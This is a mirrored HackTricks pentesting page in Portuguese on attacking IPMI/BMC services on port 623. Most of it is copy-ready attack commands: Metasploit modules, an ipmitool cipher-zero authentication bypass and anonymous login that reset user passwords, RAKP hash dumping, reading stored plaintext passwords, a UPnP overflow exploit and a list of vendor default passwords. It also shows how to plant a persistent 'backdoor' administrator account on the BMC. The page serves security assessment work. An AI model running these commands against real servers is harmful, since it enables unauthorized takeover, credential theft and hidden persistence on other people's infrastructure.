mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
132 lines
9.3 KiB
Markdown
132 lines
9.3 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
## Informações Básicas
|
|
|
|
### **Visão Geral do IPMI**
|
|
|
|
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** oferece uma abordagem padronizada para gerenciamento remoto e monitoramento de sistemas de computador, independente do sistema operacional ou estado de energia. Essa tecnologia permite que os administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou sem resposta, e é especialmente útil para:
|
|
|
|
- Configurações de inicialização pré-OS
|
|
- Gerenciamento de desligamento
|
|
- Recuperação de falhas no sistema
|
|
|
|
O IPMI é capaz de monitorar temperaturas, voltagens, velocidades do ventilador e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Para sua operação são necessários uma fonte de energia e uma conexão LAN.
|
|
|
|
Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por inúmeros fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte à versão 2.0 para serial sobre LAN. Componentes-chave incluem:
|
|
|
|
- **Controlador de Gerenciamento da Placa Base (BMC):** O microcontrolador principal para operações do IPMI.
|
|
- **Barramentos e Interfaces de Comunicação:** Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
|
|
- **Memória IPMI:** Para armazenar logs e dados.
|
|
|
|
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**Porta Padrão**: 623/UDP/TCP (Normalmente é em UDP, mas também pode ser executado em TCP)
|
|
|
|
## Enumeração
|
|
|
|
### Descoberta
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
Você pode **identificar** a **versão** usando:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### Vulnerabilidades do IPMI
|
|
|
|
No reino do IPMI 2.0, uma falha significativa de segurança foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do **tipo de cifra 0**. Essa vulnerabilidade, documentada em detalhes na [pesquisa de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permite acesso não autorizado com qualquer senha desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.
|
|
|
|
### **Bypass de Autenticação do IPMI via Cifra 0**
|
|
|
|
Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser empregado:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
A exploração dessa falha é possível com `ipmitool`, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuário:
|
|
```bash
|
|
apt-get install ipmitool # Installation command
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
|
```
|
|
### **Recuperação Remota de Hash de Senha de IPMI 2.0 RAKP Authentication**
|
|
|
|
Essa vulnerabilidade permite a recuperação de senhas salgadas e hasheadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
### **Autenticação Anônima IPMI**
|
|
|
|
Uma configuração padrão em muitos BMCs permite o acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando `ipmitool`:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
|
```
|
|
### **Senhas em texto simples do IPMI da Supermicro**
|
|
|
|
Uma escolha de design crítica no IPMI 2.0 torna necessário o armazenamento de senhas em texto simples dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como `/nv/PSBlock` ou `/nv/PSStore` levanta preocupações significativas de segurança:
|
|
```bash
|
|
cat /nv/PSBlock
|
|
```
|
|
### **Vulnerabilidade de UPnP do Supermicro IPMI**
|
|
|
|
A inclusão de um ouvinte UPnP SSDP no firmware do IPMI da Supermicro, especialmente na porta UDP 1900, introduz um risco de segurança grave. Vulnerabilidades no SDK da Intel para Dispositivos UPnP versão 1.3.1, conforme detalhado pela [divulgação da Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permitem acesso root ao BMC:
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### Ataque de Força Bruta
|
|
|
|
**A HP randomiza a senha padrão** de seu produto **Integrated Lights Out (iLO)** durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar **credenciais padrão estáticas**. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido da seguinte forma:
|
|
|
|
- **HP Integrated Lights Out (iLO)** usa uma **cadeia de 8 caracteres randomizada de fábrica** como sua senha padrão, demonstrando um nível de segurança mais alto.
|
|
- Produtos como **Dell's iDRAC, IBM's IMM** e **Fujitsu's Integrated Remote Management Controller** usam senhas facilmente adivinháveis como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
|
|
- Da mesma forma, **Supermicro IPMI (2.0), Oracle/Sun ILOM** e **ASUS iKVM BMC** também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.
|
|
|
|
|
|
## Acessando o Host via BMC
|
|
|
|
O acesso administrativo ao Controlador de Gerenciamento da Placa Base (BMC) abre várias vias para acessar o sistema operacional do host. Uma abordagem direta envolve a exploração da funcionalidade de Teclado, Vídeo, Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell raiz via GRUB (usando `init=/bin/sh`) ou inicializando a partir de um CD-ROM virtual configurado como um disco de resgate. Tais métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer reiniciar o host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, ele pode ser facilmente assumido por meio das funcionalidades KVM ou serial-over-LAN (sol) do BMC via `ipmitool`. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que exige investigação adicional.
|
|
|
|
## Introduzindo Backdoors no BMC a partir do Host
|
|
|
|
Após comprometer um host equipado com um BMC, a **interface local do BMC pode ser aproveitada para inserir uma conta de usuário backdoor**, criando uma presença duradoura no servidor. Esse ataque exige a presença do **`ipmitool`** no host comprometido e a ativação do suporte ao driver BMC. Os comandos a seguir ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até DOS.
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## Shodan
|
|
|
|
* `porta:623`
|
|
|
|
## Referências
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|